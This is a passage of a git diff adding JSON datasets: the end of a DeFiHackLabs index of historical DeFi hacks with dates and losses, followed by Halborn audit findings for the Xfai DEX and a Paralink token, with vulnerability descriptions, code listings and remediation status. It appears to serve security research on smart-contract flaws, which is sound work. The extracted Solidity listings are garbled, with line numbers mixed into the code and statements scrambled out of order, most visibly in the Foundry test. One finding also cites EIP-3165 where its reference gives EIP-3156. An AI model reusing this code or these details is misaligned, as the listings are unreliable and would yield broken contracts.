"$2.6 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220309-fantasm-finance---business-logic-in-mint", "body": "Fantasm Finance"}, {"labels": ["ERC777", "lending", "reentrancy"], "date": "2022.03.05", "title": "Bacon Protocol", "target": "[HACKED] Bacon Protocol", "amount": "$1 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220305-bacon-protocol---reentrancy", "body": "Bacon Protocol"}, {"labels": ["DAO", "Insufficient validation"], "date": "2022.03.03", "title": "TreasureDAO", "target": "[HACKED] TreasureDAO", "amount": "$470 k", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220303-treasuredao---zero-fee", "body": "TreasureDAO"}, {"labels": ["DAO", "MaliciosProposal"], "date": "2022.02.14", "title": "BuildFinance", "target": "[HACKED] BuildFinance", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220214-buildfinance---dao", "body": "BuildFinance"}, {"labels": ["Metaverse", "Access Control"], "date": "2022.02.08", "title": "Sandbox LAND", "target": "[HACKED] Sandbox LAND", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220208-sandbox-land---access-control", "body": "Sandbox LAND"}, {"labels": ["CrossChain", "Bridge", "Insufficient validation"], "date": "2022.02.06", "title": "Meter", "target": "[HACKED] Meter", "amount": "$4.3 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220206-meter---bridge", "body": "Meter"}, {"labels": ["CrossChain", "Bridge", "lending", "Insufficient validation"], "date": "2022.01.28", "title": "Qubit Finance", "target": "[HACKED] Qubit Finance", "amount": "$80 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220128-qubit-finance---bridge-address0safetransferfrom-does-not-revert", "body": "Qubit Finance"}, {"labels": ["CrossChain", "Bridge", "Insufficient validation"], "date": "2022.01.18", "title": "Multichain (Anyswap)", "target": "[HACKED] Multichain (Anyswap)", "amount": "$1.4 million", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220118-multichain-anyswap---insufficient-token-validation", "body": "Multichain (Anyswap)"}, {"labels": ["Dex/AMM", "reentrancy", "Insufficient validation"], "date": "2021.12.21", "title": "Visor Finance", "target": "[HACKED] Visor Finance", "amount": "$8.2 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20211221-visor-finance---reentrancy", "body": "Visor Finance"}, {"labels": ["Yield", "reentrancy", "Insufficient validation"], "date": "2021.12.18", "title": "Grim Finance", "target": "[HACKED] Grim Finance", "amount": "$30 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20211218-grim-finance---flashloan--reentrancy", "body": "Grim Finance"}, {"labels": ["Dex/AMM", "Pricemanipulation"], "date": "2021.11.30", "title": "MonoX Finance", "target": "[HACKED] MonoX Finance", "amount": "$31 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20211130-monox-finance---price-manipulation", "body": "MonoX Finance"}, {"labels": ["Dex/AMM", "Insufficient validation"], "date": "2021.09.16", "title": "SushiSwap", "target": "[HACKED] SushiSwap", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210916-sushiswap-miso", "body": "SushiSwap"}, {"labels": ["Dex/AMM", "Miscalculation"], "date": "2021.09.15", "title": "NowSwap", "target": "[HACKED] NowSwap", "amount": "$1 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210915-nowswap-platform", "body": "NowSwap"}, {"labels": ["Yield", "Miscalculation"], "date": "2021.09.15", "title": "Nimbus Platform", "target": "[HACKED] Nimbus Platform", "amount": "1.45 ETH", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210915-nimbus-platform", "body": "Nimbus Platform"}, {"labels": ["Yield", "Deflationary token", "Insufficient validation"], "date": "2021.09.12", "title": "ZABU Finance", "target": "[HACKED] ZABU Finance", "amount": "$3.2 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210912-zabu-finance---deflationary-token-uncompatible", "body": "ZABU Finance"}, {"labels": ["DAO", "Access Control"], "date": "2021.09.03", "title": "DAO Maker", "target": "[HACKED] DAO Maker", "amount": "$4 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210903-dao-maker---bad-access-controal", "body": "DAO Maker"}, {"labels": ["lending", "ERC777", "reentrancy"], "date": "2021.08.30", "title": "Cream Finance", "target": "[HACKED] Cream Finance", "amount": "$18 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210830-cream-finance---flashloan-attack--reentrancy", "body": "Cream Finance"}, {"labels": ["Stablecoin", "Flashloans", "reentrancy"], "date": "2021.08.17", "title": "XSURGE", "target": "[HACKED] XSURGE", "amount": "$5 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210817-xsurge---flashloan-attack--reentrancy", "body": "XSURGE"}, {"labels": ["CrossChain", "Bridge", "Insufficient validation"], "date": "2021.08.11", "title": "Poly Network", "target": "[HACKED] Poly Network", "amount": "$611 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210811-poly-network---bridge-getting-around-modifier-through-cross-chain-message", "body": "Poly Network"}, {"labels": ["Dex/AMM", "Flashloans", "Pricemanipulation"], "date": "2021.08.04", "title": "WaultFinace", "target": "[HACKED] WaultFinace", "amount": "390 ETH", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210804-waultfinace---flashloan-price-manipulation", "body": "WaultFinace"}, {"labels": ["CrossChain", "Bridge", "Incorrect logic"], "date": "2021.07.10", "title": "Chainswap", "target": "[HACKED] Chainswap", "amount": "$8 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210710-chainswap---bridge-logic-flaw", "body": "Chainswap"}, {"labels": ["CrossChain", "Bridge", "Incorrect logic"], "date": "2021.07.02", "title": "Chainswap", "target": "[HACKED] Chainswap", "amount": "$0.8 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210702-chainswap---bridge-logic-flaw", "body": "Chainswap"}, {"labels": ["Stablecoin", "Deflationary token", "Miscalculation"], "date": "2021.06.28", "title": "SafeDollar", "target": "[HACKED] SafeDollar", "amount": "$0.2 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210628-safedollar---deflationary-token-uncompatible", "body": "SafeDollar"}, {"labels": ["Yield", "Incorrect logic"], "date": "2021.06.22", "title": "Eleven Finance", "target": "[HACKED] Eleven Finance", "amount": "$4.5 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210622-eleven-finance---doesnt-burn-shares", "body": "Eleven Finance"}, {"labels": ["Dex/AMM", "Access Control"], "date": "2020.06.18", "title": "Bancor Protocol", "target": "[HACKED] Bancor Protocol", "amount": "$545,000", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20200618-bancor-protocol---access-control", "body": "Bancor Protocol"}, {"labels": ["ERC721", "Access Control"], "date": "2021.06.07", "title": "88mph", "target": "[HACKED] 88mph", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210607-88mph-nft---access-control", "body": "88mph"}, {"labels": ["Yield", "Miscalculation"], "date": "2021.06.03", "title": "PancakeHunny", "target": "[HACKED] PancakeHunny", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210603-pancakehunny---incorrect-calculation", "body": "PancakeHunny"}, {"labels": ["Yield", "Flashloans", "Miscalculation"], "date": "2021.05.19", "title": "PancakeBunny", "target": "[HACKED] PancakeBunny", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210519-pancakebunny---price-oracle-manipulation", "body": "PancakeBunny"}, {"labels": ["Dex/AMM", "ERC20", "Miscalculation"], "date": "2021.04.28", "title": "Uranium", "target": "[HACKED] Uranium", "amount": "$50 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210428-uranium---miscalculation", "body": "Uranium"}, {"labels": ["Dex/AMM", "Access Control"], "date": "2021.03.08", "title": "DODO", "target": "[HACKED] DODO", "amount": "$700,000", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210308-dodo---flashloan-attack", "body": "DODO"}, {"labels": ["Miscalculation"], "date": "2020.12.29", "title": "Cover Protocol", "target": "[HACKED] Cover Protocol", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20201229-cover-protocol", "body": "Cover Protocol"}, {"labels": ["Yield", "Insufficient validation"], "date": "2020.11.21", "title": "Pickle Finance", "target": "[HACKED] Pickle Finance", "amount": "$20 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20201121-pickle-finance", "body": "Pickle Finance"}, {"labels": ["Yield", "Flashloans", "Pricemanipulation", "Economic"], "date": "2020.10.26", "title": "Harvest Finance", "target": "[HACKED] Harvest Finance", "amount": "$33.8 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20201026-harvest-finance---flashloan-attack", "body": "Harvest Finance"}, {"labels": ["ERC20", "Under/Overflow"], "date": "2018.04.22", "title": "Beauty Chain", "target": "[HACKED] Beauty Chain", "amount": "$900 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20180422-beauty-chain---integer-overflow", "body": "Beauty Chain"}, {"labels": ["wallet", "Access Control"], "date": "2017.11.06", "title": "Parity", "target": "[HACKED] Parity", "amount": "514k ETH", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20171106-parity---accidentally-killed-it", "body": "Parity"}] \ No newline at end of file diff --git a/results/halborn_findings_1.json b/results/halborn_findings_1.json new file mode 100644 index 0000000..4343a81 --- /dev/null +++ b/results/halborn_findings_1.json @@ -0,0 +1 @@ +[{"title": "ADDLIQUIDITYETH MISHANDLES DEPOSIT", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/Solidity Smart Contract Audits/Xfai_DEX_Smart_Contract_Security_Audit_Report_Halborn_Final.pdf", "body": "The function addLiquidityETH from the XfaiV0Periphery01.sol contract takes ETH received from the user and deposits it into the WETH/XFETH pool. If the pool has liquidity, it computes the amount to deposit of each asset. First, it calculates the proportional amount of ETH sent for the sum of the amounts of each token that the pool has. Then it subtracts the obtained value to the amount of sent ETH to transform it to xfETH. As xfETH tends to increase its value, this calculation can result in a non-optimal deposit, making users obtain less LP tokens than the optimal distribution may achieve. Code Location: Listing 1: xfETH.sol 153 function addLiquidityETH ( 154 address _to , 155 uint _deadline 156 ) external payable override ensure ( _deadline ) returns ( uint liquidity ) { 157 158 159 160 161 162 163 164 165 address _weth = weth ; // gas saving uint amountETH ; uint amountXfETHtoETH ; address pool = IXfaiFactory ( factory ). getPool ( _weth ); if ( pool == address (0) ) { // create the pool if it doesn 't exist yet pool = IXfaiFactory ( factory ). createPool ( _weth ); } ( uint ETHReserve , uint xfETHReserve ) = IXfaiPool ( pool ). getStates () ; if ( ETHReserve == 0 && xfETHReserve == 0) { ( amountETH , amountXfETHtoETH ) = ( msg . value / 2 , msg . value / 166 167 2) ; 168 } else { 21 169 amountETH = ( msg . value * ETHReserve ) / ( ETHReserve + xfETHReserve ); 170 171 172 amountXfETHtoETH = msg . value - amountETH ; } uint amountXfETH = IXFETH ( xfETH ). deposit { value : amountXfETHtoETH }() ; 173 174 175 176 177 IWETH ( _weth ). deposit { value : amountETH }() ; TransferHelper . safeTransfer ( xfETH , pool , amountXfETH ); TransferHelper . safeTransfer ( _weth , pool , amountETH ); liquidity = IXfaiV0Core ( core ). mint ( _weth , _to ); require ( msg . value == amountETH + amountXfETHtoETH , ' XfaiV0Periphery01 : INSUFFICIENT_AMOUNT '); 178 } Proof Of Concept: The issue resides in the fact that the calculation for the corresponding amount of xfETH is the amount of ETH that will be converted to xfETH. Thus, if the value of xfETH is higher than ether, this amount will decrease when converted to the token system. As the formula for minting LP tokens takes the minimum of the resulting product of the added tokens, the LP tokens minted may be lower than other distributions. The next scenario is used to illustrate the described issue. 1. ETH to Xfeth price has a relation of 3 Eth to 2 xfETH. 2. ETH balance of xfETH contract is 1.5 bigger than the total supply. 3. The WETH/XFETH pool is balanced, with 300 WETH on reserve and 200 xfETH on weight. 4. User deposits 10 ether. 5. The test also computes the LP minted with a different distribution based on the values previous to the original deposit. Listing 2: ITest4.sol 1 pragma solidity ^0.8.19; 2 3 import ' test / Deployer . sol '; 4 22 deal ( address ( this ) , 1000 ether ); // xfaiperiphery . addLiquidityETH { value : 20 ether }( address ( } super . setUp () ; MockWETH weth2 ; function setUp () public override { function test_integration_addLiquidityEth () public { xfactory . createPool ( address ( weth )) ; address pool = xfactory . getPool ( address ( weth )) ; xfeth . deposit { value : 20 ether }() ; weth . deposit { value : 30 ether }() ; xfeth . transfer ( pool , 20 ether ); weth . transfer ( pool , 30 ether ); xfaicore . mint ( address ( weth ) , address ( this )); 5 contract ITest is Deployer { 6 7 8 9 10 11 12 13 this ) , block . timestamp +1000) ; 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 )); 29 getStates () ; 30 31 32 33 10 ether }( address ( this ) , block . timestamp +1000) ; 34 35 36 37 ); 38 39 / ETHReserve , ( amountXfETHNew * totalSupply ) / xfETHReserve ); 40 41 42 console . log ( ' LPOriginal ', originalLP ); console . log ( ' LPImproved ', liquidityNew ); uint256 newBalance = ( address ( xfeth ). balance * 3) / 2; deal ( address ( xfeth ) , newBalance ); uint256 totalSupply = MockERC20 ( pool ). totalSupply () ; ( uint ETHReserve , uint xfETHReserve ) = IXfaiPool ( pool ). uint amountETHNew = 5 ether ; uint amountXfETHtoETHNew = 10 ether - amountETHNew ; uint amountXfETHNew = xfeth . ETHToXfETH ( amountXfETHtoETHNew uint liquidityNew = Math . min (( amountETHNew * totalSupply ) uint256 originalLP = xfaiperiphery . addLiquidityETH { value : address pool = IXfaiFactory ( xfactory ). getPool ( address ( weth 23 } 43 44 } The next screenshots show the difference between the LP tokens obtained. As it is possible to observe, the difference does exist. BVSS: AO:A/AC:L/AX:L/C:N/I:N/A:N/D:M/Y:L/R:N/S:U (5.6) Recommendation: Consider using a new formula that obtains the optimal distribution. As this may not be an easy task, it can also be a reasonable approach to establish a user defined minimal distribution to perform the calculations. It is also advised to set a minimal LP tokens to be obtained to avoid front-running issues. Remediation Plan: SOLVED: 3ceca61a67a245e4bb7d7774cfbb34e3eec1aeaa. Xfai team solved the The issue on the next commit ID 24 ", "labels": ["Halborn", "Xfai_DEX", "Severity: Medium"]}, {"title": "IMPROVEMENTS FOR FLASH CALLS", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/Solidity Smart Contract Audits/Xfai_DEX_Smart_Contract_Security_Audit_Report_Halborn_Final.pdf", "body": "The Xfai Protocol has two different functions to perform flash calls. First one through a flash mint on the Xfeth.sol contract. The second one is a classic flash loan on the XfaiV0Core.sol contract. Although the functions are technically correct from a basic functionality point of view, the standard established on EIP-3165 is not fulfilled. The standard improvements are: Implement a flashFee view function to compute the fee for a given token amount. Implement a maxFlashLoan view function to obtain the maximum number of tokens available. Return true if the execution is successful. Control the return value of the callback function. Send the parameters of msg.sender, token, amount, fee and data as inputs to the receiver callback function. Code Location: Listing 3: XFETH.sol (Line 186) 174 function flashMint ( uint _amount ) external override nonReentrant isPublic { 175 176 177 178 179 180 181 182 183 // get current ETH balance uint ETHBalance = address ( this ). balance ; uint xfETHTotalSupply = totalSupply () ; // compute fee uint fee = ( _amount * flashMintFee ) / 10000; // mint tokens _mint ( msg . sender , _amount ); 25 184 185 186 187 188 189 // hand control to borrower IBorrower ( msg . sender ). executeOnFlashMint ( _amount ); // burn tokens + fee _burn ( msg . sender , _amount + fee ); // reverts if ` msg . sender ` does not have enough tokens to burn 190 191 // double - check that the contract 's ETH balance has not decreased 192 193 194 195 196 197 198 } assert ( address ( this ). balance >= ETHBalance ); // double - check that the contract 's xfETH supply has decreased assert ( totalSupply () < xfETHTotalSupply ); emit FlashMint ( msg . sender , _amount ); Listing 4: XfaiV0Core.sol (Line 335) 323 function flashLoan ( 324 address _token , 325 uint _amount , 326 address _to , 327 bytes calldata _data 328 ) external override pausable singleLock ( _token ) { 329 330 require ( _to != address (0) , ' XfaiV0Core INVALID_TO '); address pool = XfaiLibrary . poolFor ( _token , factory , poolCodeHash ); 331 332 ( uint reserve , ) = IXfaiPool ( pool ). getStates () ; require ( _amount <= reserve , ' XfaiV0Core : INSUFFICIENT_OUTPUT_AMOUNT '); 333 334 uint balance = IERC20 ( _token ). balanceOf ( pool ); IXfaiPool ( pool ). linkedTransfer ( _token , _to , _amount ); // optimistically transfer tokens 335 336 337 IXfaiV0FlashLoan ( _to ). flashLoan ( pool , _amount , _data ); require ( IERC20 ( _token ). balanceOf ( pool ) >= balance + (( _amount * getTotalFee () ) / 10000) , 338 339 340 ' XfaiV0Core : INSUFFICIENT_AMOUNT_RETURNED ' ); IXfaiPool ( pool ). linkedTransfer ( _token , infinityNFT , ( _amount * infinityNFTFee ) / 10000) ; // send lnft fee to fee collecting contract 26 341 IXfaiPool ( pool ). update ( IERC20 ( _token ). balanceOf ( pool ) , IERC20 ( xfETH ). balanceOf ( pool )) ; emit FlashLoan ( _to , _amount ); 342 343 } BVSS: AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:U (0.0) Recommendation: From all the previous detailed improvements, consider implementing all of them. Nonetheless, there is one that the Halborn team strongly suggests. These are the parameters specified for the receive callback function. By adding the msg.sender it is ensured that the receiver fallback function executes from trusted origins. Adding the fee avoids the receiver contract to perform any computation or further contract calls to obtain this value. Sending the token address simplifies the logic of the receiver. Finally, the data is absolutely needed to execute the adequate control flow statements on the receiver side. Moreover, consider implementing interfaces following the standard to simplify the usability of the protocol. Reference EIP-3156 Remediation Plan: ACKNOWLEDGED: The Xfai team acknowledged this finding. 27 ", "labels": ["Halborn", "Xfai_DEX", "Severity: Informational"]}, {"title": "ENFORCE XFETH CONSTRUCTOR TO RECEIVE ETH", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/Solidity Smart Contract Audits/Xfai_DEX_Smart_Contract_Security_Audit_Report_Halborn_Final.pdf", "body": "The xfEth.solcontract must receive ether on the constructor. The formula used for minting liquidity on the deposit function uses the total supply of xfeth on the numerator of a division to calculate the number of tokens to give in return. If this value is zero, the returned amount will always be zero. Code Location: Listing 5: XFETH.sol 77 constructor ( address _owner , uint _flashMintFee ) payable ERC20 () { 78 79 80 81 82 83 84 } _mint ( address (0) , msg . value ); owner = _owner ; flashMintFee = _flashMintFee ; _status = _NOT_ENTERED ; _name = ' Xfai ETH '; _symbol = ' XFETH '; Listing 6: XFETH.sol 153 function deposit () public payable override nonReentrant returns ( uint amountInXfETH ) { 154 amountInXfETH = ( msg . value * totalSupply () ) / ( address ( this ). balance - msg . value ); 155 156 157 } _mint ( msg . sender , amountInXfETH ); emit Deposit ( msg . sender , amountInXfETH , msg . value ); 28 BVSS: AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:U (0.0) Recommendation: Consider adding a require statement to enforce the contract to receive ether when deployed. Remediation Plan: ACKNOWLEDGED: The Xfai team acknowledged this finding. 29 ", "labels": ["Halborn", "Xfai_DEX", "Severity: Informational"]}, {"title": "NO SLIPPAGE CONTROL WHEN MINTING XFETH", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/Solidity Smart Contract Audits/Xfai_DEX_Smart_Contract_Security_Audit_Report_Halborn_Final.pdf", "body": "The deposit function of xfETH.sol contract allows sending ether and receive xfeth token in return. The nature of this contract allows xfeth value to increase, by reducing the total supply through the fee burned on the flashMint function and remaining the same native token balance. The Xfai DEX is designed to work in optimal conditions, with flashMints being constantly used to take advantage of arbitrage opportunities. It also means, any time an arbitrageur succeeds, all the pools will get unbalanced, starting a virtuous loop of constant profit for all actors in the system. Due to this, it is plausible that a user who attempts to deposit ETH and get Xfeth in return does not obtain the desired amount. Moreover, in certain value ranges, it is possible to send ETH and obtain zero Xfeth in return. So, considering these two scenarios, it is sensible to consider implementing a slippage control of the minimal amount of Xfeth expected on the deposit function. Code Location: Listing 7: xfETH.sol 153 function deposit () public payable override nonReentrant returns ( uint amountInXfETH ) { 154 amountInXfETH = ( msg . value * totalSupply () ) / ( address ( this ). balance - msg . value ); 155 156 157 } _mint ( msg . sender , amountInXfETH ); emit Deposit ( msg . sender , amountInXfETH , msg . value ); 30 BVSS: AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:U (0.0) Recommendation: Consider adding a parameter variable for the deposit function that allows the user to revert the transaction if the Xfeth returned value is lower than expected. Remediation Plan: ACKNOWLEDGED: The Xfai team acknowledged this finding. 31 ", "labels": ["Halborn", "Xfai_DEX", "Severity: Informational"]}, {"title": "ADDLIQUIDITYETH FUNCTION MAY REVERT ON FIRST DEPOSIT", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/Solidity Smart Contract Audits/Xfai_DEX_Smart_Contract_Security_Audit_Report_Halborn_Final.pdf", "body": "The addLiquidityETH function from the XfaiV0Periphery01.sol contract, on the first deposit to the Weth/Xfeth pool, splits the value of ETH sent by the user to use each amount to obtain weth and xfeth. With those obtained amounts at the end of the function, it performs a require statement, where those values are added and need to be equal to the msg.value. The problem of this implementation arises when the first deposit is done with and odd ETH number. In this case, the require statement will revert due to solidity precision loss. Code Location: Listing 8: XfaiV0Periphery01.sol (Lines 177,187) 163 function addLiquidityETH ( 164 address _to , 165 uint _deadline 166 ) external payable override ensure ( _deadline ) returns ( uint liquidity ) { 167 168 169 170 171 172 173 174 175 address _weth = weth ; // gas saving uint amountETH ; uint amountXfETHtoETH ; address pool = IXfaiFactory ( factory ). getPool ( _weth ); if ( pool == address (0) ) { // create the pool if it doesn 't exist yet pool = IXfaiFactory ( factory ). createPool ( _weth ); } ( uint ETHReserve , uint xfETHReserve ) = IXfaiPool ( pool ). getStates () ; if ( ETHReserve == 0 && xfETHReserve == 0) { ( amountETH , amountXfETHtoETH ) = ( msg . value / 2 , msg . value / 176 177 2) ; 32 178 179 } else { amountETH = ( msg . value * ETHReserve ) / ( ETHReserve + xfETHReserve ); 180 181 182 amountXfETHtoETH = msg . value - amountETH ; } uint amountXfETH = IXFETH ( xfETH ). deposit { value : amountXfETHtoETH }() ; 183 184 185 186 187 IWETH ( _weth ). deposit { value : amountETH }() ; TransferHelper . safeTransfer ( xfETH , pool , amountXfETH ); TransferHelper . safeTransfer ( _weth , pool , amountETH ); liquidity = IXfaiV0Core ( core ). mint ( _weth , _to ); require ( msg . value == amountETH + amountXfETHtoETH , ' XfaiV0Periphery01 : INSUFFICIENT_AMOUNT '); 188 } BVSS: AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:U (0.0) Recommendation: The case of doing a first deposit with an odd number is an edge case. Nevertheless, it is possible to implement a solution for avoiding the possibility to revert on a fair deposit. Remediation Plan: ACKNOWLEDGED: The Xfai team acknowledged this finding. 33 ", "labels": ["Halborn", "Xfai_DEX", "Severity: Informational"]}, {"title": "ABSENCE OF TOKEN OWNERSHIP CHECK IN THE BOOST FUNCTION", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/Solidity Smart Contract Audits/Xfai_DEX_Smart_Contract_Security_Audit_Report_Halborn_Final.pdf", "body": "The function boost of the XfaiINFT.sol contract allows increasing the number of shares of a specific NFT token ID, based on the amount of XFIT tokens that the factory has received. However, the function does not check if the caller owns the indicated token ID. This does not represent a security risk, but it can prevent certain unwanted scenarios from the user perspective. Code Location: Listing 9: XfaiINFT.sol (Line 217) 211 function boost ( uint _tokenID ) external override lock returns ( uint share ) { 212 213 require ( _tokenID <= counter , ' XfaiINFT : Inexistent_ID '); uint amount = IERC20 ( underlyingToken ). balanceOf ( factory ) - reserve ; require ( amount != 0 , ' XfaiINFT : INSUFICIENT_AMOUNT '); reserve += amount ; share = (1 e18 * amount ) / ( reserve + initialReserve ); INFTShares [ _tokenID ] += share ; totalSharesIssued += share ; emit Boost ( msg . sender , share , _tokenID ); 214 215 216 217 218 219 220 } BVSS: AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:U (0.0) 34 Recommendation: Consider adding a require statement that prevents any user except the owner to increase the shares of the specified NFT. Remediation Plan: ACKNOWLEDGED: The Xfai team acknowledged this finding. 35 ", "labels": ["Halborn", "Xfai_DEX", "Severity: Informational"]}, {"title": "THE PROTOCOL DOES NOT ALLOW TO ADD LIQUIDITY USING XFETH", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/Solidity Smart Contract Audits/Xfai_DEX_Smart_Contract_Security_Audit_Report_Halborn_Final.pdf", "body": "The current implementation of Xfai Protocol does not allow to users to The current functions of the protocol provide liquidity using Xfeth. force the user to supply ETH that is transformed into Xfeth. This can be an issue for the users, specially to the ones that already have xfeth minted, in the case of an appreciation of the xfeth token to ETH. BVSS: AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:U (0.0) Recommendation: Consider adding on the XfaiV0Periphery01.sol contract the necessary func- tions to allow adding liquidity with the main token of the protocol. Remediation Plan: PENDING: The Xfai team plans to implement this functionality in the next release. 36 ", "labels": ["Halborn", "Xfai_DEX", "Severity: Informational"]}, {"title": "REMOVING LIQUIDITY CAN REVERT IF TOKEN ORDER IS NOT SET", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/Solidity Smart Contract Audits/Xfai_DEX_Smart_Contract_Security_Audit_Report_Halborn_Final.pdf", "body": "The internal _removeLiquidity function of the XfaiV0Periphery01.sol con- These inputs come tract, receives two token addresses as parameters. from the external function removeLiquidity. If none of the inputs tokens address is the WETH contract, the internal function is called, passing directly the input user parameters received. The function then attempts to retrieve the address of the pool corresponding to the token in the first place, however, if the address corresponds to the Xfeth token, the transaction reverts, attempting to call a function of the zero address. Code Location: Listing 10: XfaiV0Periphery01.sol (Lines 200,201) 191 function _removeLiquidity ( 192 address _token0 , 193 address _token1 , 194 uint _liquidity , 195 uint _amount0Min , 196 uint _amount1Min , 197 address _to 198 ) private returns ( uint amount0 , uint amount1 ) { address _core = core ; // gas saving 199 address pool = XfaiLibrary . poolFor ( _token0 , factory , 200 poolCodeHash ); 201 TransferHelper . safeTransferFrom ( pool , msg . sender , _core , _liquidity ); 202 ( amount0 , amount1 ) = IXfaiV0Core ( _core ). burn ( _token0 , _token1 , _to ); 203 require ( amount0 >= _amount0Min , ' XfaiV0Periphery01 : INSUFFICIENT_AMOUNT0 '); 204 require ( amount1 >= _amount1Min , ' XfaiV0Periphery01 : INSUFFICIENT_AMOUNT1 '); 205 } 37 BVSS: AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:U (0.0) Recommendation: Consider controlling the tokens address to avoid unnecessary reverts. Remediation Plan: ACKNOWLEDGED: The Xfai team acknowledged this finding. 38 ", "labels": ["Halborn", "Xfai_DEX", "Severity: Informational"]}, {"title": "REDUNDANT VARIABLE", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/Solidity Smart Contract Audits/Xfai_DEX_Smart_Contract_Security_Audit_Report_Halborn_Final.pdf", "body": "Line 363 of the XfaiV0Periphery01.sol contract is not required, as the stored value of the variable is not used. Code Location: Listing 11: XfaiV0Periphery01.sol (Line 363) 346 function swapTokensForExactTokens ( 347 address _to , 348 address _token0 , 349 address _token1 , 350 uint _amount1Out , 351 uint _amount0InMax , 352 uint _deadline 353 ) external override ensure ( _deadline ) returns ( uint amount0In ) { 354 355 356 357 358 359 360 pool0 = XfaiLibrary . poolFor ( _token1 , factory , poolCodeHash ); pool1 = XfaiLibrary . poolFor ( _token1 , factory , poolCodeHash ); ( uint r , uint w) = IXfaiPool ( pool0 ). getStates () ; amount0In = XfaiLibrary . getAmountIn (w , r , _amount1Out , address pool0 ; address pool1 ; if ( _token0 == xfETH ) { IXfaiV0Core ( core ). getTotalFee () ); 361 362 363 364 365 } else if ( _token1 == xfETH ) { pool0 = XfaiLibrary . poolFor ( _token0 , factory , poolCodeHash ); pool1 = XfaiLibrary . poolFor ( _token0 , factory , poolCodeHash ); ( uint r , uint w) = IXfaiPool ( pool0 ). getStates () ; amount0In = XfaiLibrary . getAmountIn (r , w , _amount1Out , IXfaiV0Core ( core ). getTotalFee () ); 366 367 368 369 370 371 372 } else { pool0 = XfaiLibrary . poolFor ( _token0 , factory , poolCodeHash ); pool1 = XfaiLibrary . poolFor ( _token1 , factory , poolCodeHash ); amount0In = XfaiLibrary . getAmountsIn ( pool0 , pool1 , _amount1Out , 39 373 374 375 376 IXfaiV0Core ( core ). getTotalFee () ); } require ( amount0In <= _amount0InMax , ' XfaiV0Periphery01 : INSUFFICIENT_INPUT_AMOUNT '); 377 TransferHelper . safeTransferFrom ( _token0 , msg . sender , pool0 , amount0In ); _swap ( _token0 , _token1 , _to ); 378 379 } BVSS: AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:U (0.0) Recommendation: Consider erasing the unnecessary lines from the code base. Remediation Plan: SOLVED: The Xfai team removed the redundant variable on the next commit ID 3ceca61a67a245e4bb7d7774cfbb34e3eec1aeaa. 40 4.10 (HAL-10) LACK OF UPGRADABILITY PATTERN - INFORMATIONAL (0.0) ", "labels": ["Halborn", "Xfai_DEX", "Severity: Informational"]}, {"title": "3.1 USE OF BLOCK.TIMESTAMP", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/Solidity Smart Contract Audits/Paralink_Token_SmartContract_Halborn_Report_v1.pdf", "body": "Block timestamps have historically been used for a variety of applica- tions, such as entropy for random numbers, locking funds for periods of time and various state-changing conditional statements that are time- dependent. Miners have the ability to adjust timestamps slightly which can prove to be quite dangerous if block timestamps are used incorrectly in smart contracts. block.timestamp or its alias now can be manipulated by miners if they have some incentive to do so Code Location: ParaToken.sol Line #121 Recommendation: Avoid relying on block.timestamp 8 ", "labels": ["Halborn", "Paralink_Token_SmartContract_Halborn", "Severity: Informational"]}, 